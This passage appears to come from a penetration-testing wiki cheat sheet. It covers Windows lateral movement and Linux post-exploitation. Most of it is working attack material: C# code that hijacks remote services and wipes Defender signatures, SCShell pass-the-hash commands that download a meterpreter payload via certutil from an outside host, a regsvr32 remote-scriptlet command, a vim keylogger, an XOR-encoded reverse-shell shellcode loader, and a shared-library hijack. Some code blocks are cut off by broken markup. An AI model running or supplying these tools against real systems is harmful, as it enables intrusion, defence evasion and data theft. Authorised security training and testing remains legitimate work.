            public UInt32 dwErrorControl;&lt;br /&gt;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.LPWStr)]&lt;br /&gt;
            public String lpBinaryPathName;&lt;br /&gt;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.LPWStr)]&lt;br /&gt;
            public String lpLoadOrderGroup;&lt;br /&gt;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.U4)]&lt;br /&gt;
            public UInt32 dwTagID;&lt;br /&gt;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.LPWStr)]&lt;br /&gt;
            public String lpDependencies;&lt;br /&gt;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.LPWStr)]&lt;br /&gt;
            public String lpServiceStartName;&lt;br /&gt;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.LPWStr)]&lt;br /&gt;
            public String lpDisplayName;&lt;br /&gt;
        };&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, EntryPoint = &amp;quot;OpenSCManagerW&amp;quot;, ExactSpelling = true, CharSet = CharSet.Unicode, SetLastError = true)]&lt;br /&gt;
        public static extern IntPtr OpenSCManager(string machineName, string databaseName, uint dwAccess);&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, SetLastError = true, CharSet = CharSet.Auto)]&lt;br /&gt;
        static extern IntPtr OpenService(IntPtr hSCManager, string lpServiceName, uint dwDesiredAccess);&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, CharSet = CharSet.Unicode, SetLastError = true)]&lt;br /&gt;
        public static extern Boolean QueryServiceConfig(IntPtr hService, IntPtr intPtrQueryConfig, UInt32 cbBufSize, out UInt32 pcbBytesNeeded);&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, EntryPoint = &amp;quot;ChangeServiceConfig&amp;quot;)]&lt;br /&gt;
        [return: MarshalAs(UnmanagedType.Bool)]&lt;br /&gt;
        public static extern bool ChangeServiceConfigA(IntPtr hService, uint dwServiceType, uint dwStartType, int dwErrorControl, string lpBinaryPathName, string lpLoadOrderGroup, string lpdwTagId, string lpDependencies, string lpServiceStartName, string lpPassword, string lpDisplayName);&lt;br /&gt;
        [DllImport(&amp;quot;advapi32&amp;quot;, SetLastError = true)]&lt;br /&gt;
        [return: MarshalAs(UnmanagedType.Bool)]&lt;br /&gt;
        public static extern bool StartService(IntPtr hService, int dwNumServiceArgs, string[] lpServiceArgVectors);&lt;br /&gt;
        public static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            if (args.Length != 3)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Usage: PSLessExec.exe [Target] [Service] [BinaryToRun]&amp;quot;);&lt;br /&gt;
                Console.WriteLine(&amp;quot;Example: PSLessExec.exe appsrv01 SensorService notepad.exe&amp;quot;);&lt;br /&gt;
                return;&lt;br /&gt;
            }&lt;br /&gt;
            // Open remote SCManager&lt;br /&gt;
            IntPtr SCMHandle = OpenSCManager(args[0], null, SC_MANAGER_ALL_ACCESS);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Got handle on SCManager on {args[0]}: {SCMHandle}.&amp;quot;);&lt;br /&gt;
            // Access target service&lt;br /&gt;
            IntPtr schService = OpenService(SCMHandle, args[1], SERVICE_ALL_ACCESS);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Got handle on target service {args[1]}: {schService}.&amp;quot;);&lt;br /&gt;
            // Get current binPath (two passes, first is to determine the buffer size needed)&lt;br /&gt;
            UInt32 dwBytesNeeded;&lt;br /&gt;
            QUERY_SERVICE_CONFIG qsc = new QUERY_SERVICE_CONFIG();&lt;br /&gt;
            bool bResult = QueryServiceConfig(schService, IntPtr.Zero, 0, out dwBytesNeeded);&lt;br /&gt;
            IntPtr ptr = Marshal.AllocHGlobal((int)dwBytesNeeded);&lt;br /&gt;
            bResult = QueryServiceConfig(schService, ptr, dwBytesNeeded, out dwBytesNeeded);&lt;br /&gt;
            Marshal.PtrToStructure(ptr, qsc);&lt;br /&gt;
            String binPathOrig = qsc.lpBinaryPathName;&lt;br /&gt;
            // Pass 1: Disable Defender signatures&lt;br /&gt;
            String defBypass = &amp;quot;\&amp;quot;C:\\Program Files\\Windows Defender\\MpCmdRun.exe\&amp;quot; -RemoveDefinitions -All&amp;quot;;&lt;br /&gt;
             bResult = ChangeServiceConfigA(schService, SERVICE_NO_CHANGE, SERVICE_DEMAND_START, 0, defBypass, null, null, null, null, null, null);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Overwrote service executable to become &#039;{defBypass}&#039;, result: {bResult}.&amp;quot;);&lt;br /&gt;
            // Run the service for Pass 1&lt;br /&gt;
            bResult = StartService(schService, 0, null);&lt;br /&gt;
            Console.WriteLine(&amp;quot;Launched service, defender signatures should be wiped.&amp;quot;);&lt;br /&gt;
            // Pass 2: Run the chosen binary&lt;br /&gt;
            bResult = ChangeServiceConfigA(schService, SERVICE_NO_CHANGE, SERVICE_DEMAND_START, 0, args[2], null, null, null, null, null, null);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Overwrote service executable to become &#039;{args[2]}&#039;, result: {bResult}.&amp;quot;);&lt;br /&gt;
            // Run the service for Pass 2&lt;br /&gt;
            bResult = StartService(schService, 0, null);&lt;br /&gt;
            Console.WriteLine(&amp;quot;Launched service. Check for execution!&amp;quot;);&lt;br /&gt;
            // Pass 3: Restore original binPath&lt;br /&gt;
            bResult = ChangeServiceConfigA(schService, SERVICE_NO_CHANGE, SERVICE_DEMAND_START, 0, binPathOrig, null, null, null, null, null, null);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Restored service binary to &#039;{binPathOrig}&#039;, result: {bResult}.&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
namespace lat&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        // P/invoke for OpenSCManagerW&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, EntryPoint = &amp;quot;OpenSCManagerW&amp;quot;, ExactSpelling = true, CharSet = CharSet.Unicode, SetLastError = true)]&lt;br /&gt;
        public static extern IntPtr OpenSCManager(string machineName, string databaseName, uint dwAccess);&lt;br /&gt;
        // P/invoke for OpenService&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, SetLastError = true, CharSet = CharSet.Auto)]&lt;br /&gt;
        static extern IntPtr OpenService(IntPtr hSCManager, string lpServiceName, uint dwDesiredAccess);&lt;br /&gt;
        // P/invoke for ChangeServiceConfig&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, EntryPoint = &amp;quot;ChangeServiceConfig&amp;quot;)]&lt;br /&gt;
        [return: MarshalAs(UnmanagedType.Bool)]&lt;br /&gt;
        public static extern bool ChangeServiceConfigA(IntPtr hService, uint dwServiceType, int dwStartType, int dwErrorControl, string lpBinaryPathName, string lpLoadOrderGroup, string lpdwTagId, string lpDependencies, string lpServiceStartName, string lpPassword, string lpDisplayName);&lt;br /&gt;
        // P/invoke for StartService&lt;br /&gt;
        [DllImport(&amp;quot;advapi32&amp;quot;, SetLastError = true)]&lt;br /&gt;
        [return: MarshalAs(UnmanagedType.Bool)]&lt;br /&gt;
        public static extern bool StartService(IntPtr hService, int dwNumServiceArgs, string[] lpServiceArgVectors);&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            // Initial proof of concept to authenticate&lt;br /&gt;
            String target = &amp;quot;appsrv01&amp;quot;;&lt;br /&gt;
            IntPtr SCMHandle = OpenSCManager(target, null, 0xF003F);&lt;br /&gt;
            // Code to call OpenService&lt;br /&gt;
            string ServiceName = &amp;quot;SensorService&amp;quot;;&lt;br /&gt;
            IntPtr schService = OpenService(SCMHandle, ServiceName, 0xF01FF);&lt;br /&gt;
            // Code to call ChangeServiceConfig&lt;br /&gt;
            string payload = &amp;quot;notepad.exe&amp;quot;;&lt;br /&gt;
            bool bResult = ChangeServiceConfigA(schService, 0xffffffff, 3, 0, payload, null, null, null, null, null, null);&lt;br /&gt;
            // Code to call StartService&lt;br /&gt;
            bResult = StartService(schService, 0, null);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-10-image-6.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
==== Trigger payload using fileless lateral movement ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# If you have write permission on a target, you can copy payload to target and trigger it with fileless lateral movement.&lt;br /&gt;
# Copy payload to target&lt;br /&gt;
copy proc_hol.exe \\dc02\c$\windows\tasks\proc_hol.exe&lt;br /&gt;
# Now trigger it with fileless lateral movement&lt;br /&gt;
Lat.exe dc02 SensorService “C:\windows\tasks\proc_hol.exe”&lt;br /&gt;
# You can also try to trigger the payload with psexec&lt;br /&gt;
.\psexec \\dc02 -d &amp;quot;C:\windows\tasks\proc_hol.exe&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ScShell ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/Mr-Un1k0d3r/SCShell https://github.com/Mr-Un1k0d3r/SCShell]&lt;br /&gt;
&lt;br /&gt;
&amp;quot;SCShell is a fileless lateral movement tool that relies on ChangeServiceConfigA to run commands. The beauty of this tool is that it does not perform authentication against SMB. Everything is performed over DCERPC.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# If you have obtained a hash for a user that can authenticate against target, run the command&lt;br /&gt;
python3 scshell.py corp1/dave@192.168.218.6 -service-name lfsvc -hashes :2892d26cdf84d7a70e2eb3b9f05c425e&lt;br /&gt;
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation&lt;br /&gt;
[*] Command need to use FULL path. No command output.&lt;br /&gt;
SCShell&amp;gt;C:\windows\system32\cmd.exe /c certutil -urlcache -split -f &amp;quot;http://192.168.45.162/bin.exe&amp;quot; C:\windows\tasks\bin.exe&lt;br /&gt;
# The command above will connect to target 192.168.218.6 and use the lfsvc to execute commands.&lt;br /&gt;
# The SCShell command will download meterpreter payload to windows\tasks and we can simply execute it with&lt;br /&gt;
SVShell&amp;gt;C:\windows\tasks\bin.exe&lt;br /&gt;
# Usage for .exe&lt;br /&gt;
SCShell.exe target service payload domain username password&lt;br /&gt;
# Example remote code exec&lt;br /&gt;
# I recommend using C:\windows\system32\cmd.exe /c to make sure to payload will not be killed once the service stop. You NEED to use the full path.&lt;br /&gt;
SCShell.exe 192.168.197.131 XblAuthManager &amp;quot;C:\windows\system32\cmd.exe /c C:\windows\system32\regsvr32.exe /s /n /u /i://your.website/payload.sct scrobj.dll&amp;quot; . administrastor Password&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Linux Post Explotation ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039; Stealthy VIM Backdoors&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Directly modifying &amp;lt;code&amp;gt; ​.vimrc&amp;lt;/code&amp;gt;​  is not stealthy.&lt;br /&gt;
&lt;br /&gt;
* To source a shell script:  ​&amp;lt;code&amp;gt;!source /path/to/script&amp;lt;/code&amp;gt;​ &lt;br /&gt;
&lt;br /&gt;
* To import another VIM config:  &amp;lt;code&amp;gt;​:source /path/to/vim-config​ &amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Stealthier approach: Use the  &amp;lt;code&amp;gt;​~/.vim/plugin​ &amp;lt;/code&amp;gt; directory. VIM auto-loads all &amp;lt;code&amp;gt; ​.vim​ &amp;lt;/code&amp;gt; files from this directory.&lt;br /&gt;
&lt;br /&gt;
=== VIM Backdoor keylogger ===&lt;br /&gt;
&lt;br /&gt;
Leveraging VIM&#039;s  ​&amp;lt;code&amp;gt;.vimrc&amp;lt;/code&amp;gt;​  configuration files, it&#039;s possible to set up autocommands that trigger actions in VIM. One such use-case is creating a basic keylogger to monitor changes a user makes in a file via VIM.&lt;br /&gt;
&lt;br /&gt;
Insert this at the end of &amp;lt;code&amp;gt;vimrc&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
:if $USER == &amp;quot;root&amp;quot;&lt;br /&gt;
:autocmd BufWritePost * :silent :w! &amp;gt;&amp;gt; /tmp/hackedfromvim.txt&lt;br /&gt;
:endif&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*  ​BufWritePost​ : Trigger event after a buffer is written.&lt;br /&gt;
&lt;br /&gt;
*  ​*​ : Action applies to all edited files.&lt;br /&gt;
&lt;br /&gt;
*  ​:silent​ : Suppress debug output.&lt;br /&gt;
&lt;br /&gt;
*  ​:w!​ : Forcefully save the buffer contents.&lt;br /&gt;
&lt;br /&gt;
*  ​&amp;gt;&amp;gt; /tmp/hackedfromvim.txt​ : Append content changes to the specified log file.&lt;br /&gt;
&lt;br /&gt;
=== Linux Shellcode Loader ===&lt;br /&gt;
&lt;br /&gt;
==== Simple Shellcode Loader ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
// To compile:&lt;br /&gt;
// gcc -o simpleLoader simpleLoader.c -z execstack&lt;br /&gt;
// XOR-encoded &#039;linux/x64/shell_reverse_tcp&#039; payload (key: 0xfa)&lt;br /&gt;
unsigned char buf[] = &amp;quot;\x90\xD3\xA2\x63\x90\xF8\xA5\x90\xFB\xA4\xF5\xFF\xB2\x6D\xB2\x43\xF8\xFA\xFA\xAA\x3A\x52\xCB\xB9\xAB\xB2\x73\x1C\x90\xEA\xA0\x90\xD0\xA2\xF5\xFF\x90\xF9\xA4\xB2\x05\x34\x90\xDB\xA2\xF5\xFF\x8F\x0C\x90\xC1\xA2\x63\xB2\x41\xD5\x98\x93\x94\xD5\x89\x92\xFA\xA9\xB2\x73\x1D\xA8\xAD\xB2\x73\x1C\xF5\xFF\xFA&amp;quot;;&lt;br /&gt;
int main (int argc, char **argv)&lt;br /&gt;
{&lt;br /&gt;
        int key = 250;&lt;br /&gt;
        int buf_len = (int) sizeof(buf);&lt;br /&gt;
        // Decode the payload&lt;br /&gt;
        for (int i=0; i&lt;br /&gt;
&lt;br /&gt;
==== Compile the shellcode loader ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
gcc -o simpleLoader simpleLoader.c -z execstack&lt;br /&gt;
# -z execstack: This option instructs the compiler to mark the resulting executable as having an executable stack. An executable stack means that the program can execute code stored on the stack, which can be a security risk if not handled carefully. This option is often used for specific purposes, like creating loader programs or certain types of shellcode.&lt;br /&gt;
&lt;br /&gt;
# If the above dont work, try this&lt;br /&gt;
gcc -o sh.elf sh.c -z execstack -static&lt;br /&gt;
upx --best --lzma -o shupx.elf ./sh.elf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Simple XOR Shellcode Encryption Cheatsheet ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1. Simple XOR Encrypt Shellcode&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
unsigned char buf[] = &amp;quot;\x6a\x39\x58\x0f\x05...&amp;quot;;  // Original Shellcode&lt;br /&gt;
int main (int argc, char **argv) {&lt;br /&gt;
    char xor_key = &#039;J&#039;;                          // XOR Key&lt;br /&gt;
    int payload_length = (int) sizeof(buf);      // Length of Shellcode&lt;br /&gt;
    // XOR Encrypt Each Byte&lt;br /&gt;
    for (int i=0; i&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Compilation&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
kali@kali:~$ gcc -o encoder.out encoder.c -z execstack&lt;br /&gt;
kali@kali:~$ ./encoder.out&lt;br /&gt;
\x20\x73\x12\x45\x4F\x02\xCF\x8A\x3E\x42\x02\x7B\xB5\x20\x76\x12\x45...\x20\x4B\x14\x4&lt;br /&gt;
5\x4F\x02\xCF\x8A\x32\x71\x02\xDD\x02\xF3\x48&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;2. Execute XOR Decrypted Shellcode&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
unsigned char buf[] = &amp;quot;\x20\x73\x12\x45...&amp;quot;;  // XOR Encrypted Shellcode&lt;br /&gt;
int main (int argc, char **argv) {&lt;br /&gt;
    char xor_key = &#039;J&#039;;                       // XOR Key&lt;br /&gt;
    int arraysize = (int) sizeof(buf);        // Length of Encrypted Shellcode&lt;br /&gt;
    // XOR Decrypt Each Byte&lt;br /&gt;
    for (int i=0; i&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Key Points&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* The shellcode is encrypted using XOR operation against a key (e.g., &#039;J&#039;).&lt;br /&gt;
&lt;br /&gt;
* The encrypted shellcode must be decrypted using the same XOR key before execution.&lt;br /&gt;
&lt;br /&gt;
* After decryption, the shellcode is cast to a function pointer and executed.&lt;br /&gt;
&lt;br /&gt;
=== Shared Libraries ===&lt;br /&gt;
&lt;br /&gt;
Linux uses a different program format than Windows. While Linux utilizes &#039;&#039;&#039;Executable and Linkable Format (ELF)&#039;&#039;&#039;, Windows uses the &#039;&#039;&#039;Portable Executable (PE)&#039;&#039;&#039; format.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;ELF Reference&#039;&#039;&#039;: [https://en.wikipedia.org/wiki/Executable_and_Linkable_Format Wikipedia]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;PE Reference&#039;&#039;&#039;: [https://en.wikipedia.org/wiki/Portable_Executable Wikipedia]&lt;br /&gt;
&lt;br /&gt;
Despite their differences, both systems share code with other applications. Windows employs &#039;&#039;&#039;Dynamic-Link Library (DLL)&#039;&#039;&#039; files, whereas Linux uses &#039;&#039;&#039;Shared Libraries&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
When a Linux application requires a library, it searches for it in the following order:&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;RPATH&#039;&#039;&#039;: Directories within the application&#039;s RPATH value.&lt;br /&gt;
[https://en.wikipedia.org/wiki/Rpath Reference]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;LD_LIBRARY_PATH&#039;&#039;&#039;: Directories specified in this environment variable.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;RUNPATH&#039;&#039;&#039;: Directories in the application’s RUNPATH value.&lt;br /&gt;
[https://amir.rachum.com/blog/2016/09/17/shared-libraries/#rpath-and-runpath Reference]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;/etc/ld.so.conf&#039;&#039;&#039;: Directories mentioned here.&lt;br /&gt;
[https://man7.org/linux/man-pages/man8/ldconfig.8.html Reference]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;System Library Directories&#039;&#039;&#039;: &amp;lt;code&amp;gt; ​/lib​ ,  ​/lib64​ ,  ​/usr/lib​ ,  ​/usr/lib64​ ,  ​/usr/local/lib​ ,  ​/usr/local/lib64&amp;lt;/code&amp;gt;​ , and more.&lt;br /&gt;
&lt;br /&gt;
Because of this predefined search sequence, it&#039;s possible to place or hijack shared libraries to control an application&#039;s behavior.&lt;br /&gt;
&lt;br /&gt;
==== Hijacking Shared Library via LD_LIBRARY_PATH ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1. Writing the Malicious Library:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Create the payload file:&lt;br /&gt;
&lt;br /&gt;
 ​/home/offsec/ldlib/hax.c​ &lt;br /&gt;
&lt;br /&gt;
* Include headers:&lt;br /&gt;
&lt;br /&gt;
* Define the constructor function:&lt;br /&gt;
&lt;br /&gt;
* Function payload:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
#include  // for setuid/setgid&lt;br /&gt;
// This function will be executed automatically when the shared library is loaded.&lt;br /&gt;
static void runmahpayload() __attribute__((constructor));&lt;br /&gt;
void runmahpayload() {&lt;br /&gt;
    // Elevate privileges to root user.&lt;br /&gt;
    setuid(0); // Set the effective user ID to root.&lt;br /&gt;
    setgid(0); // Set the effective group ID to root.&lt;br /&gt;
    // Print a message to indicate the DLL hijacking is in progress.&lt;br /&gt;
    printf(&amp;quot;DLL HIJACKING IN PROGRESS \n&amp;quot;);&lt;br /&gt;
    // Execute the system command to create a file in /tmp called &amp;quot;haxso.txt.&amp;quot;&lt;br /&gt;
    // This can be used as an indicator that the malicious code was executed.&lt;br /&gt;
    system(&amp;quot;touch /tmp/haxso.txt&amp;quot;);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;2. Compiling the Malicious Library:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Compile shared library object file:&lt;br /&gt;
&lt;br /&gt;
* Compile the finished shared library file:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
gcc -Wall -fPIC -c -o hax.o hax.c&lt;br /&gt;
gcc -shared -o libhax.so hax.o&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;3. Identifying the Target Library:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Determine libraries used by a binary, e.g.,  ​top​ :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ldd /usr/bin/top&lt;br /&gt;
linux-vdso.so.1 (0x00007ffd135c5000)&lt;br /&gt;
libprocps.so.6 =&amp;gt; /lib/x86_64-linux-gnu/libprocps.so.6 (0x00007ff5ab935000)&lt;br /&gt;
libtinfo.so.5 =&amp;gt; /lib/x86_64-linux-gnu/libtinfo.so.5 (0x00007ff5ab70b000)&lt;br /&gt;
libdl.so.2 =&amp;gt; /lib/x86_64-linux-gnu/libdl.so.2 (0x00007ff5ab507000)&lt;br /&gt;
libc.so.6 =&amp;gt; /lib/x86_64-linux-gnu/libc.so.6 (0x00007ff5ab116000)&lt;br /&gt;
libsystemd.so.0 =&amp;gt; /lib/x86_64-linux-gnu/libsystemd.so.0 (0x00007ff5aae92000)&lt;br /&gt;
/lib64/ld-linux-x86-64.so.2 (0x00007ff5abd9b000)&lt;br /&gt;
librt.so.1 =&amp;gt; /lib/x86_64-linux-gnu/librt.so.1 (0x00007ff5aac8a000)&lt;br /&gt;
liblzma.so.5 =&amp;gt; /lib/x86_64-linux-gnu/liblzma.so.5 (0x00007ff5aaa64000)&lt;br /&gt;
liblz4.so.1 =&amp;gt; /usr/lib/x86_64-linux-gnu/liblz4.so.1 (0x00007ff5aa848000)&lt;br /&gt;
libgcrypt.so.20 =&amp;gt; /lib/x86_64-linux-gnu/libgcrypt.so.20 (0x00007ff5aa52c000)&lt;br /&gt;
libpthread.so.0 =&amp;gt; /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007ff5aa30d000)&lt;br /&gt;
libgpg-error.so.0 =&amp;gt; /lib/x86_64-linux-gnu/libgpg-error.so.0 (0x00007ff5aa0f8000)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* We will use the bottom library. This is likely to be loaded by the application but not likely to be called unless the program encounters an error therefore this shouldn’t prevent normal use of the application.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4. Preparing for Exploitation:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Set the environment variable:&lt;br /&gt;
&lt;br /&gt;
* Copy the malicious library to hijack a target:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
export LD_LIBRARY_PATH=/home/offsec/ldlib/&lt;br /&gt;
cp libhax.so libgpg-error.so.0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;5. Identifying Missing Symbols:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Extract symbols associated with the hijacked library:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
readelf -s --wide /lib/x86_64-linux-gnu/libgpg-error.so.0 | grep FUNC | grep GPG_ERROR | awk &#039;{print &amp;quot;int&amp;quot;,$8}&#039; | sed &#039;s/@@GPG_ERROR_1.0/;/g&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Add the resulting symbols to your source code.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
static void runmahpayload() __attribute__((constructor));&lt;br /&gt;
int gpgrt_onclose;&lt;br /&gt;
int _gpgrt_putc_overflow;&lt;br /&gt;
int gpgrt_feof_unlocked;&lt;br /&gt;
int gpgrt_vbsprintf;&lt;br /&gt;
int gpgrt_ungetc;&lt;br /&gt;
---REST OF THE CODE---&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* We encountered an error stating we&#039;re missing the symbol &amp;quot;gpgrt_lock_lock&amp;quot; with version GPG_ERROR_1.0. Before our library&#039;s initial function could run, the program identified that certain expected symbols were absent. This implies that our fake library doesn&#039;t have all the required components that the original library has. To fix this, we just need to add placeholders for these missing components, since the program isn&#039;t checking their functionality, just their presence. We can also use the &amp;quot;readelf&amp;quot; tool with the &amp;quot;-s&amp;quot; option to check what components the original library contains.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;6. Overcoming Version Errors:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Extract just symbol names:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
readelf -s --wide /lib/x86_64-linux-gnu/libgpg-error.so.0 | grep FUNC | grep GPG_ERROR | awk &#039;{print $8}&#039; | sed &#039;s/@@GPG_ERROR_1.0/;/g&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Create a symbol map file, e.g.,  ​gpg.map​ :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
GPG_ERROR_1.0 {    &lt;br /&gt;
gpgrt_onclose;    &lt;br /&gt;
_gpgrt_putc_overflow;    &lt;br /&gt;
...&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Recompile using the symbol map:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
gcc -Wall -fPIC -c -o hax.o hax.c&lt;br /&gt;
gcc -shared -Wl,--version-script gpg.map -o libgpgerror.so.0 hax.o&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Export environment varialbe&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
export LD_LIBRARY_PATH=/home/offsec/ldlib/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Run the application&lt;br /&gt;
&lt;br /&gt;
